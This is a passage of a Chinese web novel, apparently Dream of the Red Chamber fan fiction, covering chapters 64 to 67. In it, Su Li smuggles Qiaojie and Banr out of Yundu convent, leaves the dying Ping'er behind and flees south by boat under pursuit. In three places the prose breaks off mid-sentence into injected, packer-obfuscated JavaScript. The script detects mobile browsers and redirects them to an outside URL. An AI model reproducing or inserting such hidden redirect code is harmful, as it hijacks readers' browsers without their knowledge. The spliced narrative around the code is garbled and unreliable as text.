贾府女眷除邢夫人、王夫人因涉及管家、需进一步审讯定罪，其余的得以保全性命，免于没籍，被统一送往西郊云渡庵“带发修行、自理生计”，这无疑是在贾府倾覆的惨淡结局中，投下了一丝微弱的、却也令人唏嘘的光亮。有人感叹皇帝仁德，有人猜测是北静王府暗中出力，更有人敏锐地察觉到，这“自理生计”和相对宽松的看管，似乎别有深意。 旨意传到羁押所时，平儿已陷入深度昏迷，高烧不退，对外界毫无反应。贾母老泪纵横，挣扎着想要谢恩，却已无力起身。探春紧紧搀扶着摇摇欲坠的李纨，咬紧嘴唇，不让眼泪落下。惜春面无表情，仿佛一切与己无关。巧姐儿依旧痴痴傻傻，被一个沉默的老嬷嬷抱着。 当她们被一辆辆破旧青帷小车拉出羁押所，送往西郊时，无数百姓在街边围观，指指点点，唏嘘不已。昔日的国公府诰命、千金小姐，如今缁衣素服，形容憔悴，如同风中残烛，驶向那前途未卜的荒僻庵堂。 消息也以最快的速度，传到了城西那处隐秘的民居。冯妈在送晚饭时，将这一消息低声告知了地窖中的苏璃。 苏璃听完，怔了许久，眼眶发热，心中百感交集。水澈……他竟然真的做到了！在如此险恶的局势下，他竟然说动了皇帝，为贾府女眷，尤其是为可能牵连其中的巧姐儿和自己，争得了这样一线生机！云渡庵，带发修行，自理生计……这简直是绝境中最好的安排！ 但她也立刻意识到其中的凶险。皇帝为何会答应？是真被水澈的道理说服，还是另有所图？云渡庵的看守是否严密？那“自理生计”的尺度又如何把握？平儿重伤垂危，能否熬到庵中？巧姐儿心智受损，又该如何安置？最重要的是，水澈为自己设计的“南下”之路，与这云渡庵的安置，该如何衔接？ 无数问题涌上心头，但有一点是确定的：水澈已经为她，也为那些无辜的女眷，打开了一扇门。接下来的路，需要她自己走，而且要走得快，走得稳。 “冯妈妈，”苏璃稳了稳心神，低声道，“请设法转告四爷，他的心意，我已知晓，感激不尽。云渡庵之事，或许是个机会。我会做好准备。另外……”她犹豫了一下，还是问道，“平儿姑娘……可还有消息？” 冯妈摇摇头：“只听说伤重，一起送往云渡庵了，生死不知。” 苏璃心中一痛，默默点头。她取出那半块玉佩，紧紧握在手心。平儿用命守住的秘密，王熙凤临终的托付，水澈冒死争取的机会……这一切，都沉甸甸地压在她的肩上。 地窖外的世界，因为这道突如其来的旨意，掀起了新的波澜。而地窖内的苏璃知道，最后的行动时刻，或许就要到了。她必须尽快养精蓄锐，也必须和板儿做好最后的准备。 夜色，再次笼罩下来，但这一次，黑暗中似乎透出了一丝微光。 64. 夜会云渡庵 地窖里的日子，失去了晨昏。油灯的光晕在土壁上投下摇曳的影子，将等待的每一刻都拉扯得无比漫长。 苏璃靠着冰冷的墙壁，指尖反复摩挲着那半块温润的玉佩，仿佛能从上面汲取一丝力量和温度。冯妈带来的消息，如同在黑暗中划亮的一根火柴，短暂地照亮了前路，却也映出了周遭更深的幽暗。 平儿垂危，巧姐儿痴傻，贾府女眷被安置云渡庵……水澈冒险跪求换来的一线生机，却也是危机四伏的险境。皇帝为何会突然“法外开恩”？ 是水澈的说辞真的打动了他，还是这本身就是一场更深的试探？云渡庵名为带发修行、自理生计，实则仍是囚笼，看守的眼线绝不会少。那“自理生计”的尺度如何把握？是真正的活路，还是诱人出洞的饵料？ 无数个问题在苏璃脑中盘旋，但她强迫自己冷静。越是危急，越不能自乱阵脚。水澈既然安排了南下之路，又恰好与云渡庵的安置几乎同时发生，这绝非巧合。他定然在其中留下了可以操作的缝隙。关键在于如何抓住这稍纵即逝的机会。 她将冯妈送来的有限食物分出大半，强迫自己咽下，维持体力。然后，她将板儿叫到身边，在昏暗的灯光下，用最简洁的语言，将当前的局势和可能的机会分析给他听。 “板儿，你记住，”苏璃的声音低沉而清晰，“我们现在最大的倚仗，是外界都以为我们已经死了，或者至少不知道我们的具体下落。这是我们的护身符。水……北静王府的四爷，为我们争取了一个机会，但这条路布满荆棘。我们要去的云渡庵，虽是庵堂，却也是龙潭虎穴。你要做的，就是紧紧跟着我，无论看到什么，听到什么，没有我的示意，绝不开口，绝不擅自行动。你的任务，是保护好巧姐儿，也保护好你自己。” 板儿虽然年纪小，但历经磨难，眼神里有着超乎年龄的坚毅，他重重点头：“璃姐姐，我晓得！我一定听你的话，保护好巧姐儿！” 苏璃摸摸他的头，心中稍安。她开始利用这最后的时间，反复推演各种可能遇到的情况，以及应对之法。如何混入云渡庵？如何接近平儿和巧姐儿？如何取得庵中管事之人的信任？南下的接应点在哪里？信号是什么？一旦行踪暴露，又该如何撤退？每一个环节都不能出错。 等待，成了最煎熬的考验。地窖外任何一丝不寻常的声响，都让苏璃的心提到嗓子眼。是搜捕的官兵？是水澈派来的接应？还是……别的什么？ 约定的日子，在焦灼的等待中终于到来。这天夜里，冯妈比往常来得更晚一些。她提着食盒下来，脸上带着一丝难以掩饰的紧张。她快速将简单的饭食摆出，压低声音，语速极快： “姑娘，外面风声紧得很！顺天府和步军统领衙门的人还在暗地里查访，尤其是关于巧姐儿的下落。忠顺王府那边似乎也嗅到了什么味道，加派了人手在几处城门口和通往云渡庵的路上转悠……四爷那边递了最后的消息，说是……说是宫里有变，南下的通道，窗口期可能只有明后两夜！错过就……” 冯妈的声音带着颤音，没再说下去，但意思已经明了。机会只有一次，而且时间紧迫，风险巨大。 苏璃的心猛地一沉，但脸上却异常平静。她抓住冯妈的手，感受到她手心的冰凉和潮湿：“妈妈，告诉我们该怎么做。” 冯妈定定神，凑到苏璃耳边，声音几不可闻：“今夜子时，庵里会有一支运送米粮杂物的车队从后角门进庵。赶车的是自己人。你们混在装米粮的空麻袋里进去。进去之后，车队会停在西北角最僻静的柴房附近。那里离安置贾府女眷的院落最近，也靠近庵堂后墙的一处废弃小门……接应的人，会在庵外三里地的土地庙等信号，信号是……三短一长的布谷鸟叫。记住，只在明晚或后晚，子时到丑时之间有效。” 信息量巨大，时间、地点、方式、信号……苏璃在心中飞快地重复记忆，确保一字不差。 “进去之后，如何找到平儿和巧姐儿？”苏璃问出最关键的问题。 “贾府女眷被安置在‘静心院’，平儿姑娘伤重，单独住在院角一间小厢房。巧姐儿……和几个小丫头住在一起。庵里有个管杂役的净尘师太，是……是四爷早年布下的一着闲棋，但年事已高，且未必完全可靠，万不得已，不可轻易求助。一切，靠你们自己见机行事。”冯妈语速极快，“进去容易，出来难。能否找到人，能否顺利脱身，就看你们的造化了。” 冯妈说完，深深看了苏璃和板儿一眼，眼中满是担忧和不忍，她匆匆收拾好碗碟，低声道：“保重！”便盖上木板，脚步声迅速远去。 地窖重归死寂，只剩下苏璃和板儿粗重的呼吸声，还有角落里巧姐儿偶尔发出的、无意识的呓语。 子时……只剩下不到两个时辰了。 苏璃不再犹豫，她将最后一点干粮和一小壶水仔细包好，系在腰间。又帮板儿整理好衣衫，将沉睡的巧姐儿用一块灰布裹紧，背在背上。巧姐儿很轻，像一只脆弱的小猫。 “板儿，准备好了吗？”苏璃的声音在黑暗中异常镇定。 “好了，璃姐姐！”板儿握紧了小拳头。 时间一分一秒地流逝，每一秒都像一个世纪般漫长。苏璃闭目养神，调整着呼吸，将所有的计划在脑中过了一遍又一遍。成败，生死，就在此一举。 子时将近，地窖上方传来三声极轻微的、有节奏的叩击声。是信号！ 苏璃深吸一口气，示意板儿跟上。她轻轻顶开木板，一股凛冽的、带着草木气息的夜风瞬间涌入，让她精神一振。 外面月黑风高，只有几颗寒星在云缝中闪烁。一个穿着粗布短打、车夫模样的黑影蹲在洞口，低声道：“快！上车！” 借着微弱的星光，苏璃看到不远处停着一辆骡车，车上堆着高高的麻袋。她和板儿迅速爬出地窖，车夫引着他们来到车尾，挪开几个松软的空麻袋，露出一个刚好可容两人蜷缩的空间。 “进去，无论听到什么，都不要出声！”车夫低声叮嘱，将麻袋重新盖好。 黑暗中，苏璃紧紧抱着怀里的巧姐儿，板儿挨着她蜷缩着。骡车开始缓缓移动，颠簸着前行。车轮碾过石板路，发出单调的辘辘声。苏璃能听到车夫偶尔低低的吆喝声，以及夜间巡更人模糊的梆子声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079672|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每一道关卡，每一次盘查，都让她的心提到嗓子眼。但幸运的是，这辆看似普通的运粮车似乎并未引起太多注意，或许是冯妈打点得当，或许是水澈的安排起了作用，他们有惊无险地驶出了城区，走上了通往西郊的土路。 路越来越颠簸，四周也越来越寂静，只有风声和虫鸣。不知过了多久，骡车缓缓停下。车夫的声音隔着麻袋传来：“到了，西南角柴房后。你们自己小心。我只能停一炷香的时间。” 麻袋被掀开，清冷的空气涌入。苏璃和板儿迅速钻出车底，发现自己身处一个荒僻的院落角落，眼前是一排低矮的柴房，远处能望见庵堂黑黢黢的轮廓和几点微弱的灯火。 “走！”苏璃低喝一声，拉着板儿，借着柴堆和树木的阴影，快速向记忆中冯妈描述的“静心院”方向摸去。 云渡庵很大，夜色中更显空旷阴森。偶尔有巡夜的尼姑提着灯笼走过，苏璃和板儿便立刻隐入暗处，屏住呼吸。庵堂的规矩显然比不得贾府森严，但也透着一股说不出的压抑和颓败。 按照记忆中的方位，他们穿过几道月亮门，绕过一片竹林，终于看到一处独立的院落，门楣上挂着斑驳的匾额，隐约可见“静心”二字。院门虚掩着，里面一片死寂，只有一间厢房还透出微弱的、摇曳的灯光。 那应该就是平儿的住处！ 苏璃的心狂跳起来。她示意板儿带着巧姐儿在院外一丛茂密的冬青后藏好，自己则像一只灵猫般，悄无声息地潜到那间亮灯厢房的窗下。 她用唾液沾湿指尖，轻轻点破窗纸，凑近望去。 只见屋内陈设简陋，只有一桌一椅一炕。炕上，一个身影蜷缩在单薄的被褥里，气息微弱，几乎看不到胸膛的起伏。正是平儿！她脸色蜡黄，双颊深陷，嘴唇干裂，若不是胸口还有极其微弱的起伏，几乎与死人无异。一个年老聋哑的婆子靠在墙角的凳子上打盹。 苏璃的眼泪瞬间涌了上来，她死死咬住嘴唇，才没哭出声来。平儿……竟然伤重至此！ 不能再等了！必须立刻带她走！可是，以平儿现在的状况，如何经得起颠簸？但若不走，留在这里，只有死路一条！ 就在苏璃心乱如麻之际，忽然，隔壁房间传来一阵细弱的、如同受伤小兽般的呜咽声，还夹杂着小丫头不耐烦的呵斥：“哭什么哭！大半夜的，还让不让人睡了！” 巧姐儿！是巧姐儿的声音！ 苏璃猛地回头，看向板儿藏身的方向。板儿也听到了声音，紧张地望过来。 就在这时，远处传来一阵脚步声和说话声，似乎有巡夜的人朝这边来了！ “快！去隔壁！”苏璃当机立断，对板儿低喝一声，自己则猛地推开平儿的房门，闪身进去。 打盹的婆子被惊醒，茫然地抬起头。苏璃顾不上她，一个箭步冲到炕前，低唤：“平儿姐姐！平儿姐姐！是我！苏璃！” 平儿毫无反应，只有出的气，没有进的气。 外面的脚步声越来越近！板儿已经抱着被惊醒、开始低声啜泣的巧姐儿冲了进来，小脸煞白。 千钧一发！ 65. 生死时速 苏璃的心跳在那一瞬间几乎停止。平儿气息奄奄，昏迷不醒，巧姐儿在板儿怀中低声啜泣，而巡夜尼姑的脚步声和灯笼晃动的光影已近在门外！更让她脊背发寒的是，那个一直靠在墙角打盹、看似聋哑的老婆子，在变故突生的刹那，浑浊的眼中竟闪过一丝极快、极锐利的精光，虽然瞬间又恢复了麻木，但苏璃确信自己没有看错！ 电光石火间，苏璃已无暇细究这婆子的底细。带走平儿？以她现在的状况，根本经不起任何挪动，无疑是加速其死亡。放弃平儿？那她之前所有的努力、水澈的冒险安排、乃至对凤姐的承诺，都将付诸东流，她自己也必将终生难安。 “板儿，巧姐儿交给我！你去门口听着动静！”苏璃当机立断，声音低促却异常镇定。她迅速将背上的巧姐儿解下，紧紧搂在怀里，用身体挡住孩子的视线，另一只手则飞快地探向平儿的鼻息和颈侧动脉。 气息微弱得几乎感觉不到，脉搏也似有若无。苏璃的心沉到谷底。她不是医生，没有现代医疗设备，面对这种濒死状态，她无能为力。绝望如同冰水，瞬间浸透全身。 就在这时，门外传来巡夜尼姑不耐烦的呵斥声：“静心院的值夜婆子呢？死哪里去了？刚才是不是有动静？” 那打盹的婆子像是刚刚被惊醒，茫然地“啊啊”两声，哆哆嗦嗦地站起身，指了指里间，又指了指外面，比划着似乎是说巧姐儿在哭闹。 苏璃脑中灵光一闪！这婆子在帮忙遮掩！她虽不明所以，但这是唯一的机会！她立刻对板儿使了个眼色，两人迅速隐入平儿炕床内侧最暗的阴影里，苏璃同时用手轻轻捂住巧姐儿的嘴，防止她再发出声响。 门“吱呀”一声被推开了，一个提着灯笼的尼姑探头进来，灯光扫过空荡荡的外间和躺在炕上毫无声息的平儿，皱了皱眉：“怎么这么大股药味？这屋里的人死了不成？” 那聋哑婆子又“啊啊”几声，指了指平儿，做了个喝药、躺下的动作，意思是病人喝了药睡沉了。 那尼姑嫌恶地掩了掩鼻子，灯光在平儿惨白的脸上停留一瞬，嘟囔道：“半死不活的，真是晦气！你看紧点，别让她半夜断了气，惹出麻烦！”说完，也懒得再查看，缩回头，“砰”地一声带上了门，脚步声渐渐远去。 危机暂解，但苏璃浑身已被冷汗湿透。板儿腿一软，几乎瘫坐在地。巧姐儿感受到大人的紧张，在她怀里瑟瑟发抖。 不能再等了！必须立刻做出决断！ 苏璃将巧姐儿交给惊魂未定的板儿，自己再次冲到平儿炕前。她俯下身，凑到平儿耳边，用尽全身力气，压抑着声音，一字一句地说道：“平儿姐姐！平儿！我是苏璃！巧姐儿在这里！你要撑住！为了巧姐儿，你必须活下来！” 也许是求生的本能超越了死亡的界限，也许是苏璃的声音如同最后的救命稻草，平儿毫无血色的嘴唇竟然极其微弱地翕动了一下，眼角渗出一滴浑浊的泪水。 有反应！她还活着！苏璃心中瞬间燃起一丝微弱的希望。但她也清楚，这可能是回光返照。带她走，仍是死路。 就在这万分煎熬之际，那聋哑婆子却悄无声息地挪了过来，她看了看苏璃，又看了看平儿和巧姐儿，忽然伸出枯瘦的手指，快速在地上划了三个字：等、药、子。 等药？子时？苏璃瞳孔骤缩！这婆子不仅不聋不哑，还识字！她在暗示什么？等子时的药？难道…… 苏璃猛地抓住婆子的手，目光灼灼地盯着她，用气声问道：“你是谁？谁让你等的？” 那婆子眼神复杂，看了看窗外，又指了指自己，摇了摇头，然后再次指了指平儿，做了个喝药的动作，又指了指窗外，示意“子时”。 苏璃瞬间明白了！这婆子是水澈或者冯妈安排的最后一着棋！她在等子时送来的药！那药可能是救平儿的关键！怪不得水澈安排今夜行动，他不仅算好了车队接应，可能也算准了平儿今夜有一线生机，需要这剂药！ 所有的线索在这一刻串联起来。水澈的谋划，远比她想象的更深！他不仅是要救出巧姐儿，恐怕连平儿，他也想尽力一搏！所以安排了这婆子在此接应汤药，而自己和板儿的任务，就是带着巧姐儿趁乱混入车队，至于平儿，若能用药吊住性命，或许还有后续安排，若不能……那也是天命难违。 好一个北静王庶子！心思缜密至此！ 想通此节，苏璃不再犹豫。她必须相信水澈的安排。带着平儿硬闯，三人必死无疑。放弃平儿，带走巧姐儿，尚有一线生机，而平儿，或许还能因那剂“子时药”而有一丝转机。 这是目前唯一、也是最残酷的理性选择。 她深吸一口气，决然转身，从怀里掏出一个小巧的、冯妈给的、装有参片的荷包，塞到那婆子手中，低声道：“若她……若能用药，尽量喂她一点参片吊气。若能活……告诉他，苏璃欠他一条命！” 那婆子紧紧攥住荷包，重重点头，眼神里竟有一丝决绝。 苏璃不再回头，拉起板儿和巧姐儿，低声道：“走！按原计划，去柴房！” 她最后看了一眼炕上那个气若游丝、却承载了太多情义与悲苦的女子，心中如同刀绞。平儿姐姐，对不起……若天见怜，但愿还有重逢之日！ 三人如同暗夜中的狸猫，悄无声息地溜出厢房，再次融入沉沉的夜色中，向着西北角柴房的方向潜行。这一次，脚步更加沉重，心情也更加复杂。牺牲与拯救，希望与绝望，在这生死时速的逃亡路上，交织成一张无法挣脱的网。 夜色，成了他们唯一的掩护。苏璃一手紧抱着因恐惧和疲惫而昏昏欲睡的巧姐儿，一手死死拽着板儿的衣角，三人在荒草及膝的僻静小径上深一脚浅一脚地疾行。心脏在胸腔里狂跳，几乎要撞破肋骨，每一次风吹草动，都让他们的神经绷紧到极致。 西北角的柴房终于出现在视野里，孤零零地矗立在庵墙最偏僻的角落，旁边就是那扇冯妈提到的、废弃已久的后角门。一辆堆满麻袋的骡车静静停在柴房阴影下，一个穿着粗布短打、车夫模样的黑影正焦急地踱步。 见到三人身影，车夫立刻迎了上来，低声道：“怎么才来？快！藏到最里面那几个空麻袋里！快子时了，必须赶在换防前出去！” 苏璃不及多问，和板儿一起，手忙脚乱地扒开表层的麻袋，露出底下几个松软的空隙。她先将巧姐儿小心地塞进去，用麻袋盖好，又让板儿钻入另一个空隙，最后自己才蜷缩进去。麻袋带着一股陈年米糠和尘土混合的气味，闷得人喘不过气，空间狭小，几乎无法动弹。 “无论听到什么，千万别出声！”车夫最后叮嘱一句，迅速将麻袋重新堆好压实。 黑暗中，感官被无限放大。苏璃能听到自己粗重的呼吸声，板儿压抑的咳嗽声，还有骡子不安地刨动蹄子的声音。巧姐儿似乎被闷醒了，发出细弱的呜咽，苏璃赶紧隔着麻袋轻轻拍抚，哼着不成调的小曲，努力安抚着她。 骡车开始缓缓移动，颠簸着驶向庵堂后角门。每一下颠簸，都像撞在苏璃的心口上。她紧紧攥着拳头，指甲深陷进掌心，用疼痛强迫自己保持清醒。 “站住！这么晚了，运什么东西？”后角门处传来守夜婆子沙哑的喝问声，灯笼的光线透过麻袋缝隙渗入些许。 车夫的声音带着惯有的讨好和一丝不耐烦：“李婆婆，是我，张老实！给厨房送明日做斋饭的米粮，都是陈谷子，管事师太吩咐连夜运进来，免得占了明日新米的地方。这是对牌，您瞧瞧？” 一阵窸窣的查看声。苏璃的心提到了嗓子眼。 “嗯，对牌没错……车上装的什么？打开看看！”那婆子似乎并不完全放心。 “哎哟，我的好婆婆，都是些破麻袋和剩米糠，有什么好看的？这大半夜的，天儿又冷……”车夫试图搪塞。 “少废话！上头吩咐了，这几日严查，尤其是夜间进出车辆！打开！”婆子的声音严厉起来。 苏璃浑身冰凉！完了！若是被翻开麻袋…… 就在这千钧一发之际，另一个略显年轻的声音响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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车夫冲他们点点头，一挥鞭子，骡车继续沿着土路向前驶去，显然是去迷惑可能的追踪者。 苏璃三人跟着货郎，深一脚浅一脚地绕过土地庙，庙后阴影里竟藏着一辆更加普通、毫不起眼的带篷骡车。 “上车！”货郎掀开车帘。 苏璃不及多想，抱着巧姐儿钻了进去，板儿也紧跟而上。车内狭窄，堆着些杂货，散发着一股草药和油布的味道。 货郎利落地盖上帘子，坐上辕座，低喝一声，骡车立刻启动，转向一条更窄、更偏僻的小路，速度明显加快。 直到这时，在骡车有节奏的颠簸中，苏璃才敢稍稍放松紧绷的神经。她低头看着怀中再次睡去的巧姐儿，小脸上还挂着泪痕，但呼吸已经平稳。板儿靠在她身边，虽然害怕，却努力睁大眼睛，保持着警惕。 他们出来了！真的从那个吃人的牢笼里出来了！ 然而，喜悦只是一瞬，更大的忧虑便涌上心头。平儿怎么样了？那剂“子时药”是否起了作用？水澈那边是否一切顺利？忠顺王府的暗探会不会已经发现了蛛丝马迹？南下的路，又该如何险象环生？ 前路漫漫，吉凶未卜。 货郎似乎对路径极熟，驾着骡车在纵横交错的乡间小路上疾驰，巧妙地避开官道和大路。东方渐渐露出了鱼肚白，黎明将至。 当第一缕晨光照亮天际时，骡车在一个河边小渡口停下。一艘看似运货的乌篷船静静泊在岸边，一个船家打扮的汉子正在解缆绳。 货郎跳下车，对苏璃低声道：“换船走水路，更安全。船家是自己人，会送你们到下一个码头，那里有人接应。记住，路上无论谁问起，只说是我远房亲戚，投亲遇匪，家破人亡，回南方老家去。” 苏璃重重地点了点头，将货郎的容貌和叮嘱刻在心里。她知道，从现在起，每一步都要靠他们自己了。 她抱着巧姐儿，拉着板儿，踏上了摇晃的乌篷船。船家一言不发，撑开船篙，小船悄无声息地滑向河心，融入了清晨的薄雾之中。 岸上，货郎的身影迅速消失在晨曦里。 苏璃站在船头，回望来路，云渡庵早已不见踪影，只有连绵的群山和迷茫的雾气，京城、贾府、过往的一切，都如同隔世。 新的逃亡之路，始于这茫茫水路之上。而生与死的考验，才刚刚开始。 66. 南下惊涛 乌篷船在晨雾中悄无声息地滑行，将云渡庵的噩梦远远抛在身后。河面雾气氤氲，两岸芦苇丛生，偶尔传来几声清脆的鸟鸣，更显得四周空旷寂静。 船家是个沉默寡言的黑瘦汉子，自苏璃三人上船后，除了必要的撑船指令，几乎一言不发，只一双锐利的眼睛不时警惕地扫视着河面与两岸。 船舱低矮狭窄，弥漫着鱼腥和水汽混合的气味。巧姐儿受了惊吓，又兼连夜奔波，此刻偎在苏璃怀里沉沉睡去，小脸上泪痕未干，偶尔在梦中抽噎一下。板儿紧挨着苏璃坐着，双手紧紧抱着那个装着些许干粮和碎银的小包袱，脸色苍白，眼神里却透着一股与年龄不符的坚毅，努力睁大眼睛保持着警惕。 苏璃轻轻拍抚着巧姐儿的背，心却如同这船下的河水，表面平静，内里暗流汹涌。平儿气若游丝的模样、聋哑婆子那决绝的眼神、水澈未言明的后续安排……一幕幕在脑海中翻腾。她知道，逃离云渡庵只是第一步，真正的危险，恐怕才刚刚开始。忠顺王府的暗探绝非庸碌之辈，一旦发现平儿未死或巧姐儿失踪，追兵转瞬即至。 “板儿，饿不饿？喝点水。”苏璃压低声音，从包袱里取出一个水囊和一小块硬饼，递给板儿。 板儿摇摇头，又点点头，接过水囊小心地抿了一口，哑着嗓子道：“璃姐姐，我……我不饿。平儿姐姐她……会没事吗？” 苏璃心中一痛，勉强挤出一丝安慰的笑容：“会的，一定会的。有冯妈安排的人在，会尽力救她。我们现在要做的，就是保护好巧姐儿，平安到达南方。”她的话与其说是安慰板儿，不如说是在坚定自己的信念。 板儿重重地点了点头，不再说话，只是将怀中的包袱抱得更紧。 船行约莫一个多时辰，雾气渐渐散去，日头升高，河面开阔起来，偶有运货的船只交错而过。船家的神色似乎略微放松了些，从舱底取出几个烤红薯，默默分给苏璃和板儿。 “多谢船家。”苏璃接过，低声道谢，趁机试探着问，“不知我们此行，是往哪个码头去？接下来如何安排？” 那船家啃着红薯，头也不抬，含糊道：“到地方自然知晓。莫问，莫听，莫多看。”语气冷淡，带着不容置疑的意味。 苏璃识趣地不再多问，心中却更加警惕。水澈和冯妈安排的人，谨慎到近乎冷漠，这反而说明局势之险恶。她掰开烤红薯，小心地喂着醒来的巧姐儿。热乎乎的食物下肚，巧姐儿的脸色稍微好转了些，依偎在苏璃怀里，怯生生地打量着这个移动的、狭小的新“家”。 午后，船拐进一条支流，河道变窄，两岸植被更加茂密，人烟愈发稀少。船家的速度明显加快，撑篙的动作带着一股急促。苏璃的心也随之提了起来，她注意到船家不时望向船后，眼神锐利。 “板儿，抱好巧姐儿，无论发生什么事，千万别出声。”苏璃低声叮嘱，将睡得迷迷糊糊的巧姐儿交到板儿怀中，自己则悄悄挪到舱口，透过缝隙向外观察。 后方河道拐弯处，隐隐传来了急促的划水声，还有模糊的人语！不是一艘，是好几艘！苏璃的心瞬间沉到谷底！追兵来了！而且来得如此之快！ 船家显然也听到了动静，脸色骤变，骂了句极粗俗的土话，猛地一撑竹篙，乌篷船如同离弦之箭般向前窜去！同时，他飞快地掀开舱底一块木板，露出下面一个狭窄的暗格，对苏璃低吼道：“快！带孩子藏进去！无论听到什么，都别出来！” 那暗格极其狭小，勉强能容下两人，还要蜷缩着身体。苏璃不及多想，和板儿一起，抱着巧姐儿艰难地挤了进去。暗格合上，眼前顿时一片漆黑，只有木板缝隙透进几丝微弱的光线，空气污浊沉闷。巧姐儿被惊醒，刚要哭闹，苏璃死死捂住她的嘴，在她耳边用气声急促道：“巧姐儿乖！别出声！有坏人！出声我们就没命了！” 巧姐儿吓得浑身发抖，小脸憋得通红，却真的不敢再哭，只是无声地流泪，泪水浸湿了苏璃的手心。板儿在黑暗中紧紧抓住苏璃的衣角，呼吸粗重。 外面，划水声、呼喝声越来越近！ “前面的船！停下！奉王府之命搜查逃犯！”一个嚣张的声音清晰地传来。 乌篷船不但没停，反而跑得更快。 “妈的！给脸不要脸！放箭！”那声音怒喝道。 霎时间，只听“嗖嗖”几声，几支箭矢钉在了船篷上，发出“夺夺”的闷响！有一支甚至穿透了舱壁，就钉在暗格上方不远处！苏璃三人吓得魂飞魄散，死死咬住嘴唇，不敢发出一点声响。 船家似乎中箭闷哼了一声，但船速未减，反而借着河道转弯，猛地撞向一侧长满灌木的河岸！船身剧烈倾斜、震荡，几乎要翻覆！ “跳船！”船家嘶哑地吼了一声，紧接着是重物落水的声音。 几乎在同时，追兵的小船也赶到了弯道，一阵混乱的碰撞和叫骂声传来。 “人跳河了！追！” “小心水下有诈！” “分头搜！活要见人，死要见尸！” 嘈杂的人声、水声、拨动灌木的声音在周围响起，最近的时候，苏璃甚至能听到追兵就在头顶岸上跑过的脚步声！她紧紧搂着巧姐儿和板儿，心脏几乎要跳出胸腔，每一秒都如同一个世纪般漫长。她不知道船家是生是死，不知道这拙劣的藏匿能瞒多久，死亡的阴影如此真切地笼罩下来。 时间在极度恐惧中缓慢流逝。外面的搜索声渐渐远去，似乎追兵认为船上的人已跳水逃亡，向上下游追去了。但苏璃不敢有丝毫动弹，谁知道这是不是诱敌之计？ 暗格里空气越来越稀薄，巧姐儿开始不安地扭动，板儿也呼吸急促。苏璃知道不能再等下去了。她小心翼翼地，用指尖透过木板缝隙向外窥探。天色已经暗了下来，四周一片死寂，只有虫鸣和流水声。 又等了约莫一炷香的功夫，确认外面再无动静，苏璃才用尽全力，顶开了暗格的木板。新鲜空气涌入，三人如同濒死的鱼，大口喘息着。 乌篷船半搁浅在岸边灌木丛中，船篷上插着几支箭，一片狼藉。船家已不见踪影，不知是死是活。夜色开始降临，河面上弥漫着淡淡的血腥气。 必须立刻离开这里！追兵随时可能返回！ 苏璃挣扎着爬出暗格，又将板儿和巧姐儿拉出来。三人浑身湿透，沾满泥污，狼狈不堪。巧姐儿受了极大惊吓，眼神呆滞，板儿也是双腿发软。 “走！快走！”苏璃顾不得许多，辨认了一下方向——顺着河道往下游走，或许能找到人烟。她一手抱起巧姐儿，一手拉着板儿，深一脚浅一脚地钻进岸边的密林，向着下游方向亡命奔逃。 不敢走河岸，只能在林中穿行。荆棘划破了衣衫和皮肤，夜露寒重，腹中饥饿，恐惧如影随形。苏璃全靠一股意志力强撑着，她知道自己不能倒下，倒下就是三个人的末路。 不知走了多久，直到月上中天，三人都已精疲力尽，巧姐儿连哭的力气都没有了。就在苏璃几乎绝望之际，前方隐约出现了点点灯火！是一个小渔村！ 希望重新燃起！苏璃强打精神，仔细观察。村子很小，只有十几户人家，临水而建，静悄悄的。她不敢贸然进村，谁知道村里有没有眼线？ 她带着板儿和巧姐儿，悄悄绕到村子下游最偏僻的一处简陋渔家附近。这户人家只有一间茅草屋，屋后系着一条破旧的小渔船，看起来十分贫寒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老渔婆捏着银子，犹豫半晌，低声道：“闺女，看你们也不易。从此往下游再走三十里，有个三岔河口，那里有个‘张快嘴’的渡船，常跑南边的水路。那人嘴快，但讲义气，给足船钱，或许能送你们一程。只是……如今路上不太平，你们千万小心。” 苏璃牢牢记住，再次道谢。 次日天不亮，苏璃便谢过老渔夫夫妇，带着板儿和巧姐儿再次上路。按照渔婆的指点，他们不敢走大路，只在荒野小径穿行，饿了啃干粮，渴了喝溪水，夜宿荒庙破窑，受尽颠沛流离之苦。巧姐儿大病初愈，身体虚弱，途中又发起低烧，苏璃和板儿轮流背着她，艰难前行。 几经周折，提心吊胆，三日后，他们终于找到了那个三岔河口，也找到了那个叫“张快嘴”的船家。张快嘴果然人如其名，打量了他们几眼，便喋喋不休：“哎哟，这兵荒马乱的，拖家带口往南跑？不容易啊！放心吧，我老张在这河上跑了几十年，水路熟！保管把你们平安送到地头！价钱嘛……好说好说！” 谈妥了船资，苏璃三人再次登上了南下的船只。这一次，是艘稍大些的客货混装船，船上还有几个同样南下的商旅和流民，虽然嘈杂，反倒多了几分隐蔽性。 船离岸，驶向茫茫水道。苏璃站在船头，回望来路，只见青山隐隐，绿水迢迢，来时的惊险与苦难，都已湮没在烟波浩渺之中。 前路依旧吉凶未卜，南方等待他们的是什么，无人知晓。但至少，他们暂时摆脱了追兵，真正踏上了南下的旅程。 苏璃紧紧抱着怀中的巧姐儿，看着身边虽然疲惫却眼神清亮的板儿，心中涌起一股强烈的求生欲望。无论前路有多少艰难险阻，她一定要带着这两个孩子，活下去！ 船帆鼓满了风，向着南方，向着未知的命运，疾驰而去。 67. 船上风波 “张快嘴”的客船比之前的乌篷船宽敞不少，却也嘈杂混乱。 